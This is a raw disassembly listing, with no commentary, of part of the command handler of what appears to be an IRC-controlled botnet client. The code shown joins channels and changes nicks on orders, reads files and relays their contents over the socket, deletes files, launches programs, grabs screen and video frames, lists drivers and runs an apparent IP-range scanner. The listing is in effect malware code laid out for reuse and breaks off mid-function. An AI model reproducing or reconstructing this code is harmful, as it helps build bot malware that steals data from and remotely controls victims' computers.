loc_413066: ; CODE XREF: sub_40EE51+5A20j
add esp, 18h
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_41306E: ; CODE XREF: sub_40EE51+245Fj
; sub_40EE51+2476j
cmp [ebp+var_C], ebx
jz loc_414F3C
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_41309F
push esi
lea eax, [ebp+Dst]
push offset aModeS ; "MODE %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_41309F: ; CODE XREF: sub_40EE51+4237j
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_6 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D62A
push esi
push edi
push offset dword_435770
jmp loc_413061
; ---------------------------------------------------------------------------
loc_4130F0: ; CODE XREF: sub_40EE51+2431j
; sub_40EE51+2448j
cmp [ebp+var_C], ebx
jz loc_414F3C
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F3C
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
push esi ; Args
push offset aS_6 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D62A
push esi
push edi
push offset dword_435744
jmp loc_413061
; ---------------------------------------------------------------------------
loc_41315B: ; CODE XREF: sub_40EE51+2403j
; sub_40EE51+241Aj
cmp [ebp+var_C], ebx
jz loc_414F3C
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F3C
push esi ; Args
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push esi ; Args
push offset dword_43570C ; Format
loc_41318D: ; CODE XREF: sub_40EE51+4E64j
; sub_40EE51+4E7Dj ...
call sub_40BFE3
loc_413192: ; CODE XREF: sub_40EE51+43AAj
add esp, 14h
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_41319A: ; CODE XREF: sub_40EE51+23D5j
; sub_40EE51+23ECj
push [ebp+var_90] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40F215
push [ebp+Str1] ; Args
push offset dword_435700 ; Format
push [ebp+arg_4] ; int
call sub_40D62A
push edi ; Str
call _atoi
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_423060 ; Sleep
push [ebp+esi+var_88]
push [ebp+Str1] ; Args
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push offset dword_4356DC
call sub_40BF6F
jmp short loc_413192
; ---------------------------------------------------------------------------
loc_4131FD: ; CODE XREF: sub_40EE51+23A7j
; sub_40EE51+23BEj
cmp [ebp+var_C], ebx
jz loc_414F3C
push edi ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Str1] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414F3C
push esi
lea eax, [ebp+Dst]
push offset dword_435EF8 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push edi ; Str
push [ebp+arg_4] ; int
call sub_40D670
push esi
push edi ; Args
push offset dword_4356B0 ; Format
call sub_40BFE3
add esp, 2Ch
jmp loc_414F3C
; ---------------------------------------------------------------------------
loc_41326B: ; CODE XREF: sub_40EE51+2379j
; sub_40EE51+2390j
cmp [ebp+var_C], ebx
jz loc_414F3C
push edi ; Str
call _strlen
push [ebp+arg_8] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Str1] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414F3C
push ebx ; int
push ebx ; int
push esi ; int
push edi ; Str
push [ebp+arg_4] ; int
call sub_40D670
push esi
push edi ; Args
push offset dword_435684 ; Format
call sub_40BFE3
jmp loc_411EA7
; ---------------------------------------------------------------------------
loc_4132BE: ; CODE XREF: sub_40EE51+234Bj
; sub_40EE51+2362j
cmp [ebp+var_C], ebx
jz loc_40F215
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F215
push eax ; int
push edi ; Source
call sub_40BE77
push edi
lea eax, [ebp+Dst]
push offset dword_435658 ; Format
push eax ; Dest
call _sprintf
loc_4132F5: ; CODE XREF: sub_40EE51+3C8Aj
add esp, 14h
jmp loc_4145C3
; ---------------------------------------------------------------------------
loc_4132FD: ; CODE XREF: sub_40EE51+230Bj
; sub_40EE51+2322j
push edi ; SubStr
push [ebp+arg_1C] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz loc_414F3C
mov esi, [ebp+esi+Format]
cmp esi, ebx
jz short loc_41339A
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_413382
push esi
lea eax, [ebp+Dst]
push [ebp+Format]
push [ebp+var_90]
push [ebp+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push esi
push edi
lea eax, [ebp+Dst]
push offset dword_435624 ; Format
push eax ; Dest
call _sprintf
add esp, 34h
inc [ebp+File]
jmp loc_414A84
; ---------------------------------------------------------------------------
loc_413382: ; CODE XREF: sub_40EE51+44D9j
lea eax, [ebp+Dst]
push offset dword_4355E4 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_414A84
; ---------------------------------------------------------------------------
loc_41339A: ; CODE XREF: sub_40EE51+44C8j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4] ; int
push [ebp+arg_1C] ; int
push eax ; Dest
call sub_40BB87
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
push edi
push offset dword_4355BC ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 24h
jmp loc_414A84
; ---------------------------------------------------------------------------
loc_4133E1: ; CODE XREF: sub_40EE51+22DDj
; sub_40EE51+22F4j
push offset aScreen ; "screen"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_413444
cmp [ebp+esi+Format], ebx
jz short loc_413431
push [ebp+esi+Format]
call sub_4085A0
cmp eax, 1
pop ecx
jnz short loc_41342A
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset dword_435578 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_413444
; ---------------------------------------------------------------------------
loc_41342A: ; CODE XREF: sub_40EE51+45BAj
push offset dword_43553C
jmp short loc_413436
; ---------------------------------------------------------------------------
loc_413431: ; CODE XREF: sub_40EE51+45A8j
push offset dword_4354F4 ; Format
loc_413436: ; CODE XREF: sub_40EE51+45DEj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_413444: ; CODE XREF: sub_40EE51+459Fj
; sub_40EE51+45D7j
push offset aDrivers ; "drivers"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4134DB
mov [ebp+Src], ebx
loc_41345C: ; CODE XREF: sub_40EE51+4675j
lea eax, [ebp+var_75C]
push 1FFh
push eax
lea eax, [ebp+var_3F8]
push 0FFh
push eax
push [ebp+Src]
call ds:dword_43C648
test eax, eax
jz short loc_4134BF
lea eax, [ebp+var_75C]
push eax
lea eax, [ebp+var_3F8]
push eax
lea eax, [ebp+var_15B0]
push [ebp+Src]
push offset dword_4354B8 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_15B0]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 28h
loc_4134BF: ; CODE XREF: sub_40EE51+462Ej
inc [ebp+Src]
cmp [ebp+Src], 0Ah
jl short loc_41345C
lea eax, [ebp+Dst]
push offset dword_435484 ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4134DB: ; CODE XREF: sub_40EE51+4602j
push offset aFrame ; "frame"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_413581
cmp [ebp+esi+Format], ebx
jz short loc_41356E
cmp [ebp+esi+var_88], ebx
jz short loc_41356E
cmp dword ptr [ebp+esi+Args], ebx
jz short loc_41356E
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_41356E
push eax ; Str
call _atoi
pop ecx
push eax ; int
push dword ptr [ebp+esi+Args] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+esi+var_88] ; Str
call _atoi
pop ecx
push eax ; Size
push [ebp+esi+Format] ; int
call sub_4087DB
add esp, 10h
test eax, eax
jnz short loc_413567
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset dword_435440 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_413581
; ---------------------------------------------------------------------------
loc_413567: ; CODE XREF: sub_40EE51+46F7j
push offset dword_4353FC
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41356E: ; CODE XREF: sub_40EE51+46A6j
; sub_40EE51+46AFj ...
push offset dword_4353B4 ; Format
loc_413573: ; CODE XREF: sub_40EE51+471Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_413581: ; CODE XREF: sub_40EE51+4699j
; sub_40EE51+4714j
push offset aVideo ; "video"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_413A2F
mov eax, [ebp+esi+Format]
cmp eax, ebx
mov [ebp+Str1], eax
jz short loc_41361A
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+Src], eax
jz short loc_41361A
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
mov [ebp+Source], eax
jz short loc_41361A
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_41361A
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_41361A
push esi ; Str
call _atoi
pop ecx
push eax ; int
push edi ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+Source] ; Str
call _atoi
pop ecx
push eax ; int
push [ebp+Src] ; Str
call _atoi
pop ecx
push eax ; Size
push [ebp+Str1] ; int
call sub_4089D4
add esp, 14h
test eax, eax
jnz short loc_413610
push [ebp+Str1]
push offset dword_435378
jmp loc_411891
; ---------------------------------------------------------------------------
loc_413610: ; CODE XREF: sub_40EE51+47B0j
push offset dword_435328
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_41361A: ; CODE XREF: sub_40EE51+4751j
; sub_40EE51+475Fj ...
push offset dword_4352DC
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_413624: ; CODE XREF: sub_40EE51+1CE2j
; sub_40EE51+1CF9j
push offset aR ; "r"
push edi ; Filename
call _fopen
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_41369E
mov ebx, 200h
push esi ; File
lea eax, [ebp+Dst]
push ebx ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
loc_41364D: ; CODE XREF: sub_40EE51+482Bj
test eax, eax
jz short loc_41367E
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
push esi ; File
lea eax, [ebp+Dst]
push ebx ; MaxCount
push eax ; Buf
call _fgets
add esp, 20h
jmp short loc_41364D
; ---------------------------------------------------------------------------
loc_41367E: ; CODE XREF: sub_40EE51+47FEj
push esi ; File
call _fclose
push edi
lea eax, [ebp+Dst]
push offset dword_4352A8 ; Format
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_411106
; ---------------------------------------------------------------------------
loc_41369E: ; CODE XREF: sub_40EE51+47E4j
push edi
push offset dword_435278
jmp loc_414E17
; ---------------------------------------------------------------------------
loc_4136A9: ; CODE XREF: sub_40EE51+1CB4j
; sub_40EE51+1CCBj
cmp [ebp+var_C], ebx
jz loc_414F3C
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F3C
push offset asc_429660 ; "\n"
push esi ; Dest
call _strcat
push esi ; Str
call sub_40B353
add esp, 0Ch
test eax, eax
jnz short loc_4136E9
push offset dword_43523C
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_4136E9: ; CODE XREF: sub_40EE51+488Cj
push esi
push offset dword_435214
jmp loc_414A75
; ---------------------------------------------------------------------------
loc_4136F4: ; CODE XREF: sub_40EE51+1C86j
; sub_40EE51+1C9Dj
cmp [ebp+var_C], ebx
jz loc_414F3C
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_414F3C
push eax ; Format
call sub_40AAF5
test eax, eax
pop ecx
jnz short loc_413725
push offset unk_4351E8
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_413725: ; CODE XREF: sub_40EE51+48C8j
push offset dword_4351BC
jmp loc_413A21
; ---------------------------------------------------------------------------
loc_41372F: ; CODE XREF: sub_40EE51+1C58j
; sub_40EE51+1C6Fj
push 7Fh ; Count
lea eax, [ebp+var_6EC]
push edi ; Source
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+Format]
add esp, 0Ch
cmp esi, ebx
jz short loc_41375E
push 7Fh ; Count
lea eax, [ebp+var_66C]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_41375E: ; CODE XREF: sub_40EE51+48F9j
push 7Fh ; Count
lea eax, [ebp+var_5EC]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_6F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
mov eax, [ebp+var_4]
mov [ebp+var_564], eax
lea eax, [ebp+Dst]
push offset dword_435194 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 15h ; int
push eax ; Source
call sub_416D48
add esp, 24h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6F0]
push ebx
push eax
push offset sub_40BC4D
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4137FC
loc_4137E6: ; CODE XREF: sub_40EE51+49A9j
cmp [ebp+var_560], ebx
jnz loc_414A84
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_4137E6
; ---------------------------------------------------------------------------
loc_4137FC: ; CODE XREF: sub_40EE51+4993j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset unk_435148
jmp loc_414A75
; ---------------------------------------------------------------------------
loc_41380D: ; CODE XREF: sub_40EE51+1C2Aj
; sub_40EE51+1C41j
push ebx ; Source
push [ebp+Format] ; int
push [ebp+arg_4] ; int
push edi ; Str
call sub_40637D
push edi
push offset dword_435124
jmp loc_413061
; ---------------------------------------------------------------------------
loc_413828: ; CODE XREF: sub_40EE51+1BFCj
; sub_40EE51+1C13j
push 14h ; Size
lea eax, [ebp+var_708]
push ebx ; Val
push eax ; Dst
call _memset
push edi
lea eax, [ebp+Dest]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push eax ; Format
lea eax, [ebp+var_5F0]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push offset dword_4350F0 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 12h ; int
push eax ; Source
call sub_416D48
add esp, 40h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C514
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_4138F8
loc_4138E2: ; CODE XREF: sub_40EE51+4AA5j
cmp [ebp+var_560], ebx
jnz loc_414DFC
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_4138E2
; ---------------------------------------------------------------------------
loc_4138F8: ; CODE XREF: sub_40EE51+4A8Fj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_437584
jmp loc_414DED
; ---------------------------------------------------------------------------
loc_413909: ; CODE XREF: sub_40EE51+1BCEj
; sub_40EE51+1BE5j
push edi
call ds:dword_423158 ; DeleteFileA
test eax, eax
jz short loc_41391C
push edi
push offset dword_4350C4
jmp short loc_413927
; ---------------------------------------------------------------------------
loc_41391C: ; CODE XREF: sub_40EE51+4AC1j
push offset dword_435A64
call sub_40AA30
push eax ; Format
loc_413927: ; CODE XREF: sub_40EE51+4AC9j
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_4110E5
; ---------------------------------------------------------------------------
loc_413940: ; CODE XREF: sub_40EE51+1BA0j
; sub_40EE51+1BB7j
push edi ; Str
call _atoi
push eax
call sub_415408
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_41395D
push offset unk_43508C
jmp short loc_413962
; ---------------------------------------------------------------------------
loc_41395D: ; CODE XREF: sub_40EE51+4B03j
push offset unk_435048 ; Format
loc_413962: ; CODE XREF: sub_40EE51+4B0Aj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_411109
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
jmp loc_411109
; ---------------------------------------------------------------------------
loc_41399B: ; CODE XREF: sub_40EE51+1B72j
; sub_40EE51+1B89j
push ebx ; int
push ebx ; int
push edi ; Str2
push [ebp+var_4] ; int
push ebx ; Str
push [ebp+arg_4] ; int
call sub_415179
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4139BD
push offset unk_435014
jmp loc_414E17
; ---------------------------------------------------------------------------
loc_4139BD: ; CODE XREF: sub_40EE51+4B60j
push offset unk_434FD4
jmp loc_414E17
; ---------------------------------------------------------------------------
loc_4139C7: ; CODE XREF: sub_40EE51+1B44j
; sub_40EE51+1B5Bj
push edi
call ds:dword_43C658 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+Src], eax
jz short loc_413A01
push 2
lea eax, [ebp+Src]
push 4
push eax
call ds:dword_43C5D0 ; gethostbyaddr
cmp eax, ebx
jz short loc_413A1C
push dword ptr [eax]
loc_4139EA: ; CODE XREF: sub_40EE51+4BC9j
push edi
lea eax, [ebp+Dst]
push offset dword_434FA8 ; Format
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_413A2F
; ---------------------------------------------------------------------------
loc_413A01: ; CODE XREF: sub_40EE51+4B83j
push edi
call ds:dword_43C69C ; gethostbyname
cmp eax, ebx
jz short loc_413A1C
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_43C6A4 ; inet_ntoa
push eax
jmp short loc_4139EA
; ---------------------------------------------------------------------------
loc_413A1C: ; CODE XREF: sub_40EE51+4B95j
; sub_40EE51+4BB9j
push offset dword_434F70 ; Format
loc_413A21: ; CODE XREF: sub_40EE51+3E34j
; sub_40EE51+3FBDj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_413A2F: ; CODE XREF: sub_40EE51+2A4Fj
; sub_40EE51+3B46j ...
cmp [ebp+var_8], ebx
jnz loc_414A84
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
jmp loc_414A84
; ---------------------------------------------------------------------------
loc_413A59: ; CODE XREF: sub_40EE51+1B16j
; sub_40EE51+1B2Dj
push 7Fh ; Count
push edi ; Source
push [ebp+arg_14] ; Dest
call _strncpy
push edi
lea eax, [ebp+Dst]
push offset dword_434F3C ; Format
push eax ; Dest
call _sprintf
add esp, 18h
jmp loc_410E22
; ---------------------------------------------------------------------------
loc_413A7E: ; CODE XREF: sub_40EE51+1AE8j
; sub_40EE51+1AFFj
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call ds:dword_43C58C
test eax, eax
push edi
jz short loc_413A9E
push offset unk_434F00
jmp loc_414E17
; ---------------------------------------------------------------------------
loc_413A9E: ; CODE XREF: sub_40EE51+4C41j
push offset unk_434EBC
jmp loc_414E17
; ---------------------------------------------------------------------------
loc_413AA8: ; CODE XREF: sub_40EE51+1ABAj
; sub_40EE51+1AD1j
mov al, [edi]
mov ds:byte_42E5C0, al
movsx eax, byte ptr [edi]
push eax
push offset dword_434E88
jmp loc_410E13
; ---------------------------------------------------------------------------
loc_413ABD: ; CODE XREF: sub_40EE51+1A8Cj
; sub_40EE51+1AA3j
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_414F3C
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_414F3C
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_415CF0
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
add esp, 1Ch
jmp loc_412FAB
; ---------------------------------------------------------------------------
loc_413B08: ; CODE XREF: sub_40EE51+1A5Ej
; sub_40EE51+1A75j
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_40F215
push edi ; Str
call _atoi
mov esi, 1F4h
pop ecx
cmp eax, esi
jge loc_40F215
push offset aQuitLater ; "QUIT :later\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax] ; int
call sub_40D62A
pop ecx
pop ecx
push esi
call ds:dword_423060 ; Sleep
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_44207C[eax]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_10]
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push ds:dword_442084[eax]
call ds:dword_423168
push edi ; Str
call _atoi
imul eax, 234h
push edi ; Str
mov ds:dword_442084[eax], ebx
call _atoi
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_441E70[eax], bl
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_413BB1: ; CODE XREF: sub_40EE51+1A30j
; sub_40EE51+1A47j
push edi ; Str2
push offset aAll ; "all"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_413BEF
call sub_416F11
cmp eax, ebx
jle short loc_413BE5
push eax
push offset dword_434E3C ; Format
loc_413BD1: ; CODE XREF: sub_40EE51+15D3j
; sub_40EE51+2AB9j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_4145C3
; ---------------------------------------------------------------------------
loc_413BE5: ; CODE XREF: sub_40EE51+4D78j
push offset dword_434E04
jmp loc_4145B5
; ---------------------------------------------------------------------------
loc_413BEF: ; CODE XREF: sub_40EE51+4D6Fj
mov eax, [ebp+var_C0]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40F215
lea eax, [ebp+edi*4+Str2]
mov [ebp+File], eax
loc_413C0B: ; CODE XREF: sub_40EE51+4E2Bj
mov eax, [ebp+File]
mov esi, [eax]
cmp esi, ebx
jz loc_40F215
push esi ; Str
call _atoi
push eax
call sub_416E83
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_413C32
push offset dword_434DD0
jmp short loc_413C37
; ---------------------------------------------------------------------------
loc_413C32: ; CODE XREF: sub_40EE51+4DD8j
push offset dword_434D94 ; Format
loc_413C37: ; CODE XREF: sub_40EE51+4DDFj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_413C67
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
loc_413C67: ; CODE XREF: sub_40EE51+4DF8j
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
add [ebp+File], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_413C0B
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_413C83: ; CODE XREF: sub_40EE51+1A02j
; sub_40EE51+1A19j
cmp [ebp+var_C], ebx
jz loc_414F3C
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414F3C
push esi ; Args
push offset aS_6 ; "%s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push esi
push offset dword_434D6C
jmp loc_41318D
; ---------------------------------------------------------------------------
loc_413CBA: ; CODE XREF: sub_40EE51+19D4j
; sub_40EE51+19EBj
push edi ; Args
push offset dword_435700 ; Format
push [ebp+arg_4] ; int
call sub_40D62A
push edi
push offset dword_434D3C
jmp loc_41318D
; ---------------------------------------------------------------------------
loc_413CD3: ; CODE XREF: sub_40EE51+19A6j
; sub_40EE51+19BDj
push [ebp+esi+Format]
push edi ; Args
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push edi
push offset dword_434D0C
jmp loc_413061
; ---------------------------------------------------------------------------
loc_413CF3: ; CODE XREF: sub_40EE51+1978j
; sub_40EE51+198Fj
push edi ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
push edi
push offset dword_434CD8
jmp loc_41318D
; ---------------------------------------------------------------------------
loc_413D0C: ; CODE XREF: sub_40EE51+193Dj
; sub_40EE51+1952j
mov al, ds:byte_42E5EA
mov [ebp+Src], ebx
cmp al, bl
mov edx, offset byte_42E5EA
jz loc_40F215
mov ecx, edx
loc_413D23: ; CODE XREF: sub_40EE51+4EDAj
inc [ebp+Src]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_413D23
cmp al, bl
jz loc_40F215
mov [ebp+Str1], edx
loc_413D38: ; CODE XREF: sub_40EE51+51A5j
push 8
call sub_416F90
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+Src]
add eax, ecx
cmp eax, 258h
jle short loc_413D87
push ecx
lea eax, [ebp+Dst]
push offset unk_436014 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 20h
jmp loc_413FED
; ---------------------------------------------------------------------------
loc_413D87: ; CODE XREF: sub_40EE51+4F01j
or [ebp+var_314], 0FFFFFFFFh
cmp ds:dword_429CB0, ebx
mov [ebp+var_318], 14h
mov [ebp+var_32C], 7
mov [ebp+var_328], 140h
mov [ebp+Src], ebx
jz short loc_413DF8
mov eax, [ebp+Str1]
mov edi, offset dword_429CB0
lea esi, [eax-0Ah]
loc_413DC2: ; CODE XREF: sub_40EE51+4F89j
lea eax, [edi-28h]
push esi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_413DDE
inc [ebp+Src]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_413DC2
jmp short loc_413DF8
; ---------------------------------------------------------------------------
loc_413DDE: ; CODE XREF: sub_40EE51+4F7Fj
mov eax, [ebp+Src]
mov ecx, eax
mov [ebp+var_314], eax
imul ecx, 3Ch
mov ecx, ds:dword_429CB0[ecx]
mov [ebp+var_330], ecx
loc_413DF8: ; CODE XREF: sub_40EE51+4F64j
; sub_40EE51+4F8Bj
cmp [ebp+var_330], ebx
jz loc_414001
push 10h
lea eax, [ebp+Source]
pop esi
push eax
lea eax, [ebp+var_2EC]
push eax
mov [ebp+Source], esi
push [ebp+arg_4]
call ds:dword_43C5BC ; getsockname
mov al, [ebp+var_9C7]
push esi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Drive], eax
push [ebp+Drive] ; Count
call ds:dword_43C6A4 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_444]
push eax ; Dest
call _strncpy
xor eax, eax
cmp [ebp+var_9C7], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_444]
push eax ; Str
call _strrchr
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+File+3], bl
jle short loc_413E9A
loc_413E78: ; CODE XREF: sub_40EE51+5047j
cmp eax, ebx
jz short loc_413E9A
mov byte ptr [eax], 78h
lea eax, [ebp+var_444]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_413E78
loc_413E9A: ; CODE XREF: sub_40EE51+5025j
